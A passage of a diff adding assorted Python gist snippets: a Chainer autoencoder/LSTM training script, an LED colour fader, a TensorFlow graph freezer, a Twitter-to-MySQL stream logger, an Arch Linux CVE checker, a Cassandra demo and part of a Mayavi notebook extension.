+        self.make_out_port("loss",1)
+        self.make_out_port("accuracy",1)
+        self.make_out_port("output",n_output)
+        
+        self.use_gpu = use_gpu
+        
+        if self.use_gpu:
+            self.model.to_gpu()
+
+        self.optimizer.setup(self.model.collect_parameters())
+    
+
+    def fire(self):
+        x_data = self.inputs["input"].astype(np.float32)
+        t_data = self.inputs["target"].astype(np.int16)
+        
+        if self.use_gpu:
+            x_data = cuda.to_gpu(x_data)
+            t_data = cuda.to_gpu(t_data)
+        
+        self.optimizer.zero_grads()
+        state, loss, accuracy = self.model.forward(x_data, t_data)
+        loss.backward()
+        self.optimizer.update()
+        self.results["loss"] = loss.data
+
+        y_data = self.model.output(x_data)
+        self.results["output"] = y_data
+
+
+
+class Autoencoder(FunctionSet):
+    def __init__(self,n_input,n_output):
+        super(Autoencoder,self).__init__(
+                                         encoder = F.Linear(n_input , n_output),
+                                         decoder = F.Linear(n_output , n_input)
+                                         )
+    
+    def forward(self,x_data):
+        x = Variable(x_data)
+        t = Variable(x_data)
+        x = F.dropout(x)
+        h = F.sigmoid(self.encoder(x))
+        y = F.sigmoid(self.decoder(h))
+        loss = F.mean_squared_error(y,t)
+        
+        return loss
+    
+    def encode(self,x_data):
+        x = Variable(x_data)
+        h = F.sigmoid(self.encoder(x))
+        
+        return h.data
+
+class AutoencoderComponent(brica1.Component):
+    def __init__(self, n_input,n_output):
+        super(AutoencoderComponent,self).__init__()
+        self.model = Autoencoder(n_input,n_output)
+        self.optimizer = optimizers.Adam()
+        self.optimizer.setup(self.model.collect_parameters())
+        
+        self.make_in_port("input",n_input)
+        self.make_out_port("output",n_output)
+        self.make_out_port("loss",1)
+    
+    def fire(self):
+        x_data = self.inputs["input"].astype(np.float32)
+        
+        self.optimizer.zero_grads()
+        loss = self.model.forward(x_data)
+        loss.backward()
+        self.optimizer.update()
+        self.results["loss"] = loss.data
+        
+        y_data = self.model.encode(x_data)
+        self.results["output"] = y_data
+
+
+def make_initial_state(lstm_n_units,train=True):
+    return chainer.Variable(xp.zeros(lstm_n_units,dtype=np.float32),volatile=not train)
+
+def make_initial_state2(lstm_n_units):
+    return xp.zeros(lstm_n_units,dtype=np.float32)
+
+def make_initial_state3(lstm_n_units):
+    return xp.zeros((lstm_n_units,lstm_n_units),dtype=np.float32)
+
+#evaluate only t = 15
+def evaluate(ydata,tdata):
+    while True:
+        #first time
+        if isinstance(ydata[0],int):
+            break
+                
+        t = 15
+        num = len(ydata)*len(ydata[0])/t
+        ydata = xp.array(ydata)
+        tdata = xp.array(tdata)
+        
+        ydata_reshape = xp.array(ydata).reshape((num,t))
+        
+        tdata_reshape = xp.array(tdata).reshape((num,t))
+
+        tdata_last_all = tdata_reshape[:,14]
+        ydata_last_all = ydata_reshape[:,14]
+        
+        allmatched_list = []
+        for i in range(len(ydata_last_all)):
+            if ydata_last_all[i] == tdata_last_all[i]:
+                allmatched_list.append(ydata_last_all[i])
+ 
+        size = 200
+        start = tdata_reshape.shape[0] - size
+
+        tdata_last = tdata_reshape[start:start+size,14]
+        ydata_last = ydata_reshape[start:start+size,14]
+    
+        matched_list = []
+        for i in range(len(ydata_last)):
+            if ydata_last[i] == tdata_last[i]:
+                matched_list.append(ydata_last[i])
+
+
+        accuracy_last_all = float(len(allmatched_list))/float(len(ydata_last_all))
+        accuracy_last = float(len(matched_list))/float(len(ydata_last))
+        return accuracy_last_all,accuracy_last
+
+
+
+if __name__ == "__main__":
+    
+    parser = argparse.ArgumentParser()
+    parser.add_argument("--gpu", "-g", default=-1, type=int, help="GPU ID")
+    
+    args = parser.parse_args()
+    
+    xp = cuda.cupy if args.gpu >= 0 else np
+    
+    use_gpu = False
+    if args.gpu >= 0:
+        use_gpu = True
+        cuda.check_cuda_available()
+        cuda.get_device(args.gpu).use()
+    
+
+    #batchsize should be multiple of 15 for evaluate at 15t
+    #voice batchsize:15 units : 50
+    #img   batchsize:60 units : 200 over
+    batchsize = 60
+    n_epoch = 100
+    lstm_n_units = 30
+
+    #loding dataset
+    data = convert.mfcc_convert()
+    data2 = convert.mfcc_convert2(data)
+    mfcc = {}
+    mfcc['data'] = np.array(data2)
+    mfcc['data'] = mfcc['data'].astype(np.float32)
+    mfcc['data'] /= 255
+    mfcc['target'] = convert.gen_target()
+    mfcc['target'] = mfcc['target'].astype(np.int32)
+    
+    #concat mfcc,img
+    
+    #data 1800
+    N_train = 1500
+    x_train, x_test = np.split(mfcc['data'],   [N_train])
+    y_train, y_test = np.split(mfcc['target'], [N_train])
+    N_test = y_test.size
+    
+    component1 = AutoencoderComponent(117,80)
+    component2 = AutoencoderComponent(80,60)
+    component3 = AutoencoderComponent(60,lstm_n_units)
+    LSTMcomponent = LSTMComponent(lstm_n_units,lstm_n_units,10)
+    
+    brica1.connect((component1,"output"),(component2,"input"))
+    brica1.connect((component2,"output"),(component3,"input"))
+    brica1.connect((component3,"output"),(LSTMcomponent,"input"))
+    
+    stacked_autoencoder = brica1.ComponentSet()
+    
+    stacked_autoencoder.add_component("component1",component1,1)
+    stacked_autoencoder.add_component("component2",component2,2)
+    stacked_autoencoder.add_component("component3",component3,3)
+    stacked_autoencoder.add_component("LSTMcomponent",LSTMcomponent,4)
+    
+    stacked_autoencoder.make_in_port("input",117)
+    stacked_autoencoder.make_in_port("target",1)
+    stacked_autoencoder.make_in_port("state_c1",lstm_n_units)
+    stacked_autoencoder.make_in_port("state_h1",lstm_n_units)
+    stacked_autoencoder.make_in_port("state_c2",lstm_n_units)
+    stacked_autoencoder.make_in_port("state_h2",lstm_n_units)
+    stacked_autoencoder.make_out_port("output",10)
+    stacked_autoencoder.make_out_port("loss1",1)
+    stacked_autoencoder.make_out_port("loss2",1)
+    stacked_autoencoder.make_out_port("loss3",1)
+    stacked_autoencoder.make_out_port("loss4",1)
+    stacked_autoencoder.make_out_port("accuracy",1)
+    
+    brica1.alias_in_port((stacked_autoencoder,"input"),(component1,"input"))
+    brica1.alias_out_port((stacked_autoencoder,"output"),(LSTMcomponent,"output"))
+    brica1.alias_out_port((stacked_autoencoder,"loss1"),(component1,"loss"))
+    brica1.alias_out_port((stacked_autoencoder,"loss2"),(component2,"loss"))
+    brica1.alias_out_port((stacked_autoencoder,"loss3"),(component3,"loss"))
+    brica1.alias_out_port((stacked_autoencoder,"loss4"),(LSTMcomponent,"loss"))
+    brica1.alias_out_port((stacked_autoencoder,"accuracy"),(LSTMcomponent,"accuracy"))
+    brica1.alias_in_port((stacked_autoencoder,"target"),(LSTMcomponent,"target"))
+   
+
+    time = 0.0
+    
+    if use_gpu:
+        stacked_autoencoder.to_gpu(stacked_autoencoder)
+
+    l1_x_W = []
+    l1_h_W = []
+    l2_x_W = []
+    l2_h_W = []
+    l3_W = []
+
+    y_array = []
+    y_each = []
+    t_array = []
+        
+    y_trainbackup = []
+    t_trainbackup = []
+    y_testbackup = []
+    t_testbackup = []
+
+    trainloss = []
+    trainaccuracy = []
+    trainaccuracylast = []
+
+    testloss = []
+    testaccuracy = []
+    testaccuracylast = []
+
+    for epoch in xrange(n_epoch):
+        sum_loss1 = 0
+        sum_loss2 = 0
+        sum_loss3 = 0
+        sum_loss4 = 0
+        sum_accuracy = 0
+
+        for batchnum in xrange(0 , N_train, batchsize):
+            x_batch = xp.array(x_train[batchnum:batchnum+batchsize],dtype=np.float32)
+            y_batch = xp.array(y_train[batchnum:batchnum+batchsize])
+
+            if use_gpu:
+                x_batch = cuda.to_gpu(x_batch)
+                y_batch  = cuda.to_gpu(y_batch)
+            
+            stacked_autoencoder.get_in_port("input").buffer = x_batch
+            stacked_autoencoder.get_in_port("target").buffer = y_batch
+            stacked_autoencoder.get_in_port("state_c1").buffer = make_initial_state3(lstm_n_units)
+            stacked_autoencoder.get_in_port("state_h1").buffer = make_initial_state3(lstm_n_units)
+            stacked_autoencoder.get_in_port("state_c2").buffer = make_initial_state3(lstm_n_units)
+            stacked_autoencoder.get_in_port("state_h2").buffer = make_initial_state3(lstm_n_units)
+            
+            stacked_autoencoder.input(time)
+            stacked_autoencoder.fire()
+            stacked_autoencoder.output(time+1.0)
+            
+            time += 1.0
+            
+            loss1 = stacked_autoencoder.get_out_port("loss1").buffer
+            loss2 = stacked_autoencoder.get_out_port("loss2").buffer
+            loss3 = stacked_autoencoder.get_out_port("loss3").buffer
+            loss4 = stacked_autoencoder.get_out_port("loss4").buffer
+            accuracy = stacked_autoencoder.get_out_port("accuracy").buffer
+
+            sum_accuracy += accuracy.data * batchsize
+            sum_loss += loss.data * batchsize
+        
+            sum_loss1 += loss1 * batchsize
+            sum_loss2 += loss2 * batchsize
+            sum_loss3 += loss3 * batchsize
+            sum_loss4 += loss4 * batchsize
+            sum_accuracy += sum_accuracy * batchsize
+        
+        mean_loss1 = sum_loss1 / N_train
+        mean_loss2 = sum_loss2 / N_train
+        mean_loss3 = sum_loss3 / N_train
+        mean_loss4 = sum_loss4 / N_train
+        mean_accuracy = sum_accuracy / N_train
+
+        if use_gpu:
+            mean_loss1 = cuda.to_cpu(mean_loss1)
+            mean_loss2 = cuda.to_cpu(mean_loss2)
+            mean_loss3 = cuda.to_cpu(mean_loss3)
+            mean_loss4 = cuda.to_cpu(mean_loss4)
+            mean_accuracy = cuda.to_cpu(mean_accuracy)
+
+        print "Train Epoch  {} : loss1  {} : loss2  {} : loss3  {} : loss4  {} : Accuracy  {} ".format(epoch,mean_loss1,mean_loss2,mean_loss3,mean_loss4,mean_accuracy)
+
+        sum_loss1 = 0
+        sum_loss2 = 0
+        sum_loss3 = 0
+        sum_loss4 = 0
+        sum_accuracy = 0
+
+        for batchnum in xrange(0 , N_test, batchsize):
+            x_batch = xp.array(x_test[batchnum:batchnum+batchsize])
+            y_batch = xp.array(y_test[batchnum:batchnum+batchsize])
+            
+            if use_gpu:
+                x_batch = cuda.to_gpu(x_batch)
+                y_batch  = cuda.to_gpu(y_batch)
+
+            stacked_autoencoder.get_in_port("input").buffer = x_batch
+            stacked_autoencoder.get_in_port("target").buffer = y_batch
+            stacked_autoencoder.get_in_port("state_c1").buffer = make_initial_state3(lstm_n_units)
+            stacked_autoencoder.get_in_port("state_h1").buffer = make_initial_state3(lstm_n_units)
+            stacked_autoencoder.get_in_port("state_c2").buffer = make_initial_state3(lstm_n_units)
+            stacked_autoencoder.get_in_port("state_h2").buffer = make_initial_state3(lstm_n_units)
+
+            stacked_autoencoder.input(time)
+            stacked_autoencoder.fire()
+            stacked_autoencoder.output(time+1.0)
+            
+            time += 1.0
+            
+            loss1 = stacked_autoencoder.get_out_port("loss1").buffer
+            loss2 = stacked_autoencoder.get_out_port("loss2").buffer
+            loss3 = stacked_autoencoder.get_out_port("loss3").buffer
+            loss4 = stacked_autoencoder.get_out_port("loss4").buffer
+            accuracy = stacked_autoencoder.get_out_port("accuracy").buffer
+            
+            sum_loss1 += loss1 * batchsize
+            sum_loss2 += loss2 * batchsize
+            sum_loss3 += loss3 * batchsize
+            sum_loss4 += loss4 * batchsize
+            sum_accuracy += sum_accuracy * batchsize
+        
+        mean_loss1 = sum_loss1 / N_test
+        mean_loss2 = sum_loss2 / N_test
+        mean_loss3 = sum_loss3 / N_test
+        mean_loss4 = sum_loss4 / N_test
+        mean_accuracy = sum_accuracy / N_test
+
+
+        if use_gpu:
+            mean_loss1 = cuda.to_cpu(mean_loss1)
+            mean_loss2 = cuda.to_cpu(mean_loss2)
+            mean_loss3 = cuda.to_cpu(mean_loss3)
+            mean_loss4 = cuda.to_cpu(mean_loss4)
+            mean_accuracy = cuda.to_cpu(mean_accuracy)
+
+
+        print "Train Epoch  {} : loss1  {} : loss2  {} : loss3  {} : loss4  {} : Accuracy  {} ".format(epoch,mean_loss1,mean_loss2,mean_loss3,mean_loss4,mean_accuracy)
+
+
diff --git a/hard-gists/e37887e81cee51ab2dc70d16780ae942/._snippet.py b/hard-gists/e37887e81cee51ab2dc70d16780ae942/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/e37887e81cee51ab2dc70d16780ae942/._snippet.py differ
diff --git a/hard-gists/e37887e81cee51ab2dc70d16780ae942/snippet.py b/hard-gists/e37887e81cee51ab2dc70d16780ae942/snippet.py
new file mode 100644
index 00000000..bf18ab68
--- /dev/null
+++ b/hard-gists/e37887e81cee51ab2dc70d16780ae942/snippet.py
@@ -0,0 +1,59 @@
+# sunrise.py
+
+# colors = [
+#     {"r": 0, "g": 0, "b": 0},
+#     {"r": 255, "g": 0, "b": 0},
+#     {"r": 0, "g": 255, "b": 0},
+#     {"r": 0, "g": 0, "b": 255},
+#     {"r": 255, "g": 255, "b": 255},
+#     {"r": 0, "g": 0, "b": 0}
+# ]
+
+from sunrise import *
+from blinkt import *
+
+def rgb(color):
+   return str(color["r"])+","+str(color["g"])+","+str(color["b"])
+
+def adjust(key, src,dest):
+    diff = abs(src[key] - dest[key])
+    adjusted = {"r":src["r"],"b":src["b"],"g":src["g"]}
+    step = 2
+    if(step > diff):
+        step = diff
+    if(diff > 0):
+        if(src[key]<dest[key]):
+            adjusted[key] = src[key]+ step
+        if(src[key]>dest[key]):
+            adjusted[key] = src[key]-step
+    return adjusted
+def key_equal(key,src,dest):
+    return src[key]==dest[key]
+
+def equal(src,dest):
+    return key_equal("r",src,dest) and key_equal("g",src,dest) and key_equal("b",src,dest)
+
+def move(start, end):
+   while(equal(start,end)==False):
+       start = adjust("r", start, end)
+       start = adjust("g", start, end)
+       start = adjust("b", start, end)
+
+       for pixel in range(0,8):
+           set_pixel(pixel,start["r"],start["g"],start["b"])
+
+       show()
+
+       print(rgb(start) + " " + rgb(end))
+       if(start["r"] != end["r"]):
+          print ("Red")
+       if(start["g"] != end["g"]):
+          print ("Green")
+       if(start["b"] != end["b"]):
+          print ("Blue")
+
+for n in range(0, len(colors)):
+    if(n != len(colors)-1):
+        move(colors[n], colors[n+1])
+    if(n == len(colors)):
+        move(colors[n], colors[n])
diff --git a/hard-gists/e37a85fb0258b045c005ca3db9cbc7f6/._snippet.py b/hard-gists/e37a85fb0258b045c005ca3db9cbc7f6/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/e37a85fb0258b045c005ca3db9cbc7f6/._snippet.py differ
diff --git a/hard-gists/e37a85fb0258b045c005ca3db9cbc7f6/snippet.py b/hard-gists/e37a85fb0258b045c005ca3db9cbc7f6/snippet.py
new file mode 100644
index 00000000..1cb63ec2
--- /dev/null
+++ b/hard-gists/e37a85fb0258b045c005ca3db9cbc7f6/snippet.py
@@ -0,0 +1,83 @@
+import os, argparse
+
+import tensorflow as tf
+from tensorflow.python.framework import graph_util
+
+dir = os.path.dirname(os.path.realpath(__file__))
+
+def freeze_graph(model_folder, output_nodes='y_hat', 
+                 output_filename='frozen-graph.pb', 
+                 rename_outputs=None):
+
+    #Load checkpoint 
+    checkpoint = tf.train.get_checkpoint_state(model_folder)
+    input_checkpoint = checkpoint.model_checkpoint_path
+    
+    output_graph = output_filename
+
+    #Devices should be cleared to allow Tensorflow to control placement of 
+    #graph when loading on different machines
+    saver = tf.train.import_meta_graph(input_checkpoint + '.meta', 
+                                       clear_devices=True)
+
+    graph = tf.get_default_graph()
+
+    onames = output_nodes.split(',')
+
+    #https://stackoverflow.com/a/34399966/4190475
+    if rename_outputs is not None:
+        nnames = rename_outputs.split(',')
+        with graph.as_default():
+            for o, n in zip(onames, nnames):
+                _out = tf.identity(graph.get_tensor_by_name(o+':0'), name=n)
+            onames=nnames
+
+    input_graph_def = graph.as_graph_def()
+
+    # fix batch norm nodes
+    for node in input_graph_def.node:
+        if node.op == 'RefSwitch':
+            node.op = 'Switch'
+            for index in xrange(len(node.input)):
+                if 'moving_' in node.input[index]:
+                    node.input[index] = node.input[index] + '/read'
+        elif node.op == 'AssignSub':
+            node.op = 'Sub'
+            if 'use_locking' in node.attr: del node.attr['use_locking']
+
+    with tf.Session(graph=graph) as sess:
+        saver.restore(sess, input_checkpoint)
+
+        # In production, graph weights no longer need to be updated
+        # graph_util provides utility to change all variables to constants
+        output_graph_def = graph_util.convert_variables_to_constants(
+            sess, input_graph_def, 
+            onames # unrelated nodes will be discarded
+        ) 
+
+        # Serialize and write to file
+        with tf.gfile.GFile(output_graph, "wb") as f:
+            f.write(output_graph_def.SerializeToString())
+        print("%d ops in the final graph." % len(output_graph_def.node))
+
+
+if __name__ == '__main__':
+    parser = argparse.ArgumentParser(
+        description='Prune and freeze weights from checkpoints into production models')
+    parser.add_argument("--checkpoint_path", 
+                        default='ckpt',
+                        type=str, help="Path to checkpoint files")
+    parser.add_argument("--output_nodes", 
+                        default='y_hat',
+                        type=str, help="Names of output node, comma seperated")
+    parser.add_argument("--output_graph", 
+                        default='frozen-graph.pb',
+                        type=str, help="Output graph filename")
+    parser.add_argument("--rename_outputs",
+                        default=None,
+                        type=str, help="Rename output nodes for better \
+                        readability in production graph, to be specified in \
+                        the same order as output_nodes")
+    args = parser.parse_args()
+
+    freeze_graph(args.checkpoint_path, args.output_nodes, args.output_graph, args.rename_outputs)
diff --git a/hard-gists/e38e0588bf6d8f32e99d/._snippet.py b/hard-gists/e38e0588bf6d8f32e99d/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/e38e0588bf6d8f32e99d/._snippet.py differ
diff --git a/hard-gists/e38e0588bf6d8f32e99d/snippet.py b/hard-gists/e38e0588bf6d8f32e99d/snippet.py
new file mode 100644
index 00000000..ea568c76
--- /dev/null
+++ b/hard-gists/e38e0588bf6d8f32e99d/snippet.py
@@ -0,0 +1,76 @@
+# code for streaming twitter to a mysql db
+# for Python 3 and will support emoji characters (utf8mb4)
+# based on the Python 2 code 
+# supplied by http://pythonprogramming.net/twitter-api-streaming-tweets-python-tutorial/
+# for further information on how to use python 3, twitter's api, and 
+# mysql together visit: http://miningthedetails.com/blog/python/TwitterStreamsPythonMySQL/
+
+
+from tweepy import Stream
+from tweepy import OAuthHandler
+from tweepy.streaming import StreamListener
+import mysql.connector
+from mysql.connector import errorcode
+import time
+import json
+
+
+
+# set up connection to db
+# make sure to set charset to 'utf8mb4' to support emoji
+cnx = mysql.connector.connect(user='root', password='',
+                              host='localhost',
+                              database='dbname',
+                              charset = 'utf8mb4')
+cursor=cnx.cursor()
+
+
+#Twitter consumer key, consumer secret, access token, access secret
+ckey="xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
+csecret="xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
+atoken="xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
+asecret="xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
+
+# set up stream listener
+class listener(StreamListener):
+
+    def on_data(self, data):
+        all_data = json.loads(data)
+		# collect all desired data fields 
+        if 'text' in all_data:
+          tweet         = all_data["text"]
+          created_at    = all_data["created_at"]
+          retweeted     = all_data["retweeted"]
+          username      = all_data["user"]["screen_name"]
+          user_tz       = all_data["user"]["time_zone"]
+          user_location = all_data["user"]["location"]
+          user_coordinates   = all_data["coordinates"]
+		  
+	  # if coordinates are not present store blank value
+	  # otherwise get the coordinates.coordinates value
+          if user_coordinates is None:
+            final_coordinates = user_coordinates
+          else:
+            final_coordinates = str(all_data["coordinates"]["coordinates"])
+		  
+	  # inser values into the db
+          cursor.execute("INSERT INTO tableName (created_at, username, tweet, coordinates, userTimeZone, userLocation, retweeted) VALUES (%s,%s,%s,%s,%s,%s,%s)",
+            (created_at, username, tweet, final_coordinates, user_tz, user_location, retweeted))
+          cnx.commit()
+          
+          print((username,tweet))
+          
+          return True
+        else:
+          return True
+
+    def on_error(self, status):
+        print(status)
+
+auth = OAuthHandler(ckey, csecret)
+auth.set_access_token(atoken, asecret)
+
+# create stream and filter on a searchterm
+twitterStream = Stream(auth, listener())
+twitterStream.filter(track=["searchterm"],
+  languages = ["en"], stall_warnings = True)
\ No newline at end of file
diff --git a/hard-gists/e3a91e46df24e0c24eb656c89373c20d/._snippet.py b/hard-gists/e3a91e46df24e0c24eb656c89373c20d/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/e3a91e46df24e0c24eb656c89373c20d/._snippet.py differ
diff --git a/hard-gists/e3a91e46df24e0c24eb656c89373c20d/snippet.py b/hard-gists/e3a91e46df24e0c24eb656c89373c20d/snippet.py
new file mode 100644
index 00000000..445b0a6b
--- /dev/null
+++ b/hard-gists/e3a91e46df24e0c24eb656c89373c20d/snippet.py
@@ -0,0 +1,78 @@
+#!/usr/bin/env python
+
+import collections
+import sys
+
+import lxml.html
+import requests
+import pyalpm
+
+
+WIKIPAGE_URL = "https://wiki.archlinux.org/api.php?format=json&action=parse&page=CVE&section=5"
+
+
+def get_cve_json(url):
+    req = requests.get(url)
+    req.raise_for_status()
+    jsondata = req.json()
+    if jsondata:
+        jsondata = jsondata["parse"]["text"]["*"]
+    return jsondata
+
+
+def parse_cves(doc_str):
+    doc = lxml.html.fromstring(doc_str)
+    infos = collections.defaultdict(lambda: collections.defaultdict(list)) # whelp.
+    for tr in doc.xpath('//table/tr'):
+        tds = tr.xpath('td')
+        if len(tds) == 0:
+            continue
+
+        texts = [el.text_content().strip() for el in tds]
+
+        cves = filter(lambda x: x.startswith("CVE"), texts[0].split())
+        pkgname = texts[1]
+        version = texts[3]
+        if version == "?" or version == "-":
+            version = ""
+        version = version.strip(' <=')
+        status = texts[6]
+        if status.startswith("Invalid") or status.startswith("Not affected"):
+            continue
+        infos[pkgname][version] += cves
+    return infos
+
+
+def get_vulnerable_pkgs(cve_list):
+    alpm_handle = pyalpm.Handle("/", "/var/lib/pacman")
+    alpmdb = alpm_handle.get_localdb()
+
+    vulnerables = []
+    for pkgname, info in cve_list.items():
+        pkg = alpmdb.get_pkg(pkgname)
+        if not pkg:
+            continue # Not installed
+
+        for cve_version, cves in info.items():
+            if pyalpm.vercmp(pkg.version, cve_version) != 1:
+                vulnerables.append((pkgname, pkg.version, cves))
+    return vulnerables
+
+
+if __name__ == "__main__":
+    print("Downloading CVE wiki page...")
+    document = get_cve_json(WIKIPAGE_URL)
+    if not document:
+        print("Could not fetch CVE list")
+        sys.exit(1)
+
+    print("Parsing CVE list...")
+    cve_list = parse_cves(document)
+
+    print("Checking CVE list against local PKG DB...")
+    vuln_pkgs = get_vulnerable_pkgs(cve_list)
+    if len(vuln_pkgs) > 0:
+        for pkg, version, cves in vuln_pkgs:
+            print("{} {} is vulnerable to {}".format(pkg, version, ', '.join(cves)))
+    else:
+        print("You're not vulnerable to any CVEs, good job!")
diff --git a/hard-gists/e3b59913d71d82a03eda/._snippet.py b/hard-gists/e3b59913d71d82a03eda/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/e3b59913d71d82a03eda/._snippet.py differ
diff --git a/hard-gists/e3b59913d71d82a03eda/snippet.py b/hard-gists/e3b59913d71d82a03eda/snippet.py
new file mode 100644
index 00000000..39499394
--- /dev/null
+++ b/hard-gists/e3b59913d71d82a03eda/snippet.py
@@ -0,0 +1,41 @@
+from cassandra.cluster import Cluster
+from cassandra.policies import (TokenAwarePolicy, DCAwareRoundRobinPolicy, RetryPolicy)
+from cassandra.query import (PreparedStatement, BoundStatement)
+
+cluster = Cluster(
+  contact_points=['127.0.0.1'],
+   load_balancing_policy= TokenAwarePolicy(DCAwareRoundRobinPolicy(local_dc='datacenter1')),
+   default_retry_policy = RetryPolicy()
+  )
+session = cluster.connect('demo')
+
+# Insert one record into the users table
+prepared_stmt = session.prepare ( "INSERT INTO users (lastname, age, city, email, firstname) VALUES (?, ?, ?, ?, ?)")
+bound_stmt = prepared_stmt.bind(['Jones', 35, 'Austin', 'bob@example.com', 'Bob'])
+stmt = session.execute(bound_stmt)
+
+# Use select to get the user we just entered
+prepared_stmt = session.prepare ( "SELECT * FROM users WHERE (lastname = ?)")
+bound_stmt = prepared_stmt.bind(['Jones'])
+stmt = session.execute(bound_stmt)
+for x in stmt: print x.firstname, x.age
+
+# Update the same user with a new age
+prepared_stmt = session.prepare ("UPDATE users SET age = ? WHERE (lastname = ?)")
+bound_stmt = prepared_stmt.bind([36,'Jones'])
+stmt = session.execute(bound_stmt)
+
+# Select and show the change
+prepared_stmt = session.prepare ( "SELECT * FROM users WHERE (lastname = ?)")
+bound_stmt = prepared_stmt.bind(['Jones'])
+stmt = session.execute(bound_stmt)
+for x in stmt: print x.firstname, x.age
+
+# Delete the user from the users table
+prepared_stmt = session.prepare ("DELETE FROM users WHERE (lastname = ?)")
+bound_stmt = prepared_stmt.bind(['Jones'])
+stmt = session.execute(bound_stmt)
+
+# Show that the user is gone
+results = session.execute("SELECT * FROM users")
+for x in results: print x.firstname, x.age
diff --git a/hard-gists/e41abdd59c5308eacf84/._snippet.py b/hard-gists/e41abdd59c5308eacf84/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/e41abdd59c5308eacf84/._snippet.py differ
diff --git a/hard-gists/e41abdd59c5308eacf84/snippet.py b/hard-gists/e41abdd59c5308eacf84/snippet.py
new file mode 100644
index 00000000..10380cbf
--- /dev/null
+++ b/hard-gists/e41abdd59c5308eacf84/snippet.py
@@ -0,0 +1,264 @@
+# -*- coding: utf-8 -*-
+"""Make Mayavi plots inline to ipython notebooks
+
+Imports mayavi and mlab and adds them to interpreter namespace. Loading
+this extension also sets up inline matplotlib (aka `%matpotlib inline`)
+and sets offscreen rendering on linux.
+
+Note:
+    Offscreen rendering on OS X doesn't seem to work, but on linux,
+    inline plots don't work without offscreen rendering. "Don't work"
+    in this case means it gives all black figures.
+
+Functions:
+    imayavi_show: shortcut for `mayavi.mlab.show(stop=True)`. If using
+        OS X + Qt, makes sure the figure is visible.
+    imayavi_show_inline: function is added to the interpreter namespace
+        as a convenient way to view mayavi figures inline.
+    imayavi_remove_source: Safely remove a specific vtk source
+    imayavi_clear_data: Work around Mayavi/VTK memory leak when
+        one would expect the data to be released, like on `mlab.clf()`
+        or when removing sources from the pipeline.
+
+Tested with the anaconda distribution on Linux and OS X.
+
+Installation:
+    Place in ~/.ipython/extensions/, or wherever your extensions live.
+
+Example:
+
+    >>> %load_ext imayavi
+    >>>
+    >>> # all exported functions are prefixed with "imayavi", so tab
+    >>> # completion will do be useful, as will...
+    >>> ? imayavi*
+    >>> help(imayavi_show_inline)
+    >>>
+    >>> import numpy
+    >>> X, Y = numpy.mgrid[ -5:5:0.1, -5:5:0.1 ]
+    >>> Z = X*X + Y*Y
+    >>>
+    >>> # if you want to clean up... must come before mlab.clf()
+    >>> imayavi_clear_source_data()
+    >>>
+    >>> mlab.clf()
+    >>> mlab.surf(Z)
+    >>> mlab.axes()
+    >>> mlab.outline()
+    >>> # mlab.show()
+    >>> imayavi_show_inline(size=(800, 600))
+
+"""
+
+from __future__ import print_function, division
+import sys
+
+import mayavi  # pylint: disable=import-error,unused-import
+from mayavi import mlab  # pylint: disable=import-error
+from traits.trait_errors import TraitError
+
+__author__      = "Kristofor Maynard"
+__copyright__   = "Copyright 2015"
+__license__     = "MIT License"
+
+_prev_offscreen_state = None
+
+def _resize_window(size, fig=None):
+    if fig is None:
+        fig = mlab.gcf()
+
+    try:
+        # scene.set_size doesn't seem to work on linux && os x, so
+        # go into the backend and do it by hand
+        if sys.platform == "darwin" or sys.platform.startswith('linux'):
+            toolkit = mayavi.ETSConfig.toolkit
+
+            if toolkit == 'qt4':
+                sc = fig.scene
+                window_height = sc.control.parent().size().height()
+                render_height = sc.render_window.size[1]
+                h = window_height - render_height
+                sc.control.parent().resize(size[0], size[1] + h)
+
+            elif toolkit == 'wx':
+                w, h = size[0], size[1]
+                fig.scene.control.Parent.Parent.SetClientSizeWH(w, h)
+
+            else:
+                print("Unknown mayavi backend {0} (not qt4 or "
+                      "wx); not resizing.".format(toolkit), file=sys.stderr)
+        else:
+            fig.scene.set_size(size)
+    except Exception as e:
+        print("Resize didn't work:: {0}".format(repr(e)), file=sys.stderr)
+
+def imayavi_show_window(fig, debug=False):
+    """Try to show the window; only does something on Qt backend"""
+    try:
+        # fig.scene.control.parent().show()
+        fig.scene.control.parent().showNormal()
+    except Exception as e:  # pylint: disable=broad-except,unused-variable
+        if debug:
+            print("Window show didn't work::", repr(e))
+
+def imayavi_hide_window(fig, debug=False):
+    """Try to hide the window; only does something on Qt backend"""
+    try:
+        # fig.scene.control.parent().hide()
+        fig.scene.control.parent().showMinimized()
+    except Exception as e:  # pylint: disable=broad-except,unused-variable
+        if debug:
+            print("Window hide didn't work::", repr(e))
+
+def imayavi_show_inline(fig=None, size=None, antialiased=True, hide=True,
+                        **kwargs):
+    """Display a mayavi figure inline in an ipython notebook.
+
+    This function takes a screenshot of a figure and blits it to a matplotlib
+    figure using matplotlib.pyplot.imshow()
+
+    Args:
+        fig: A mayavi figure, if not specified, uses mlab.gcf()
+        size (None, tuple): if given, resize the scene in pixels (x, y)
+        hide (bool): if True, try to hide the render window
+        kwargs: passed to mayavi.mlab.screenshot()
+
+    """
+    from matplotlib import pyplot as plt
+
+    if fig is None:
+        fig = mlab.gcf()
+
+    # try to show the window... Qt backend only, necessary if this is
+    # the 2nd call, and we hid the previous window
+    # imayavi_show_window(fig)
+
+    if size is not None:
+        _resize_window(size, fig=fig)
+
+    pixmap = mlab.screenshot(fig, antialiased=antialiased, **kwargs)
+
+    # try to hide the window... Qt backend only
+    if hide:
+        imayavi_hide_window(fig)
+
+    pltfig = plt.figure()
+    dpi = pltfig.get_dpi()
+    pltfig.set_size_inches([s / dpi for s in fig.scene.get_size()])
+    ax = pltfig.gca()
+    ax.imshow(pixmap)
+    ax.axis('off')
+    plt.show()
+
+def imayavi_show(fig=None, size=None, stop=True):
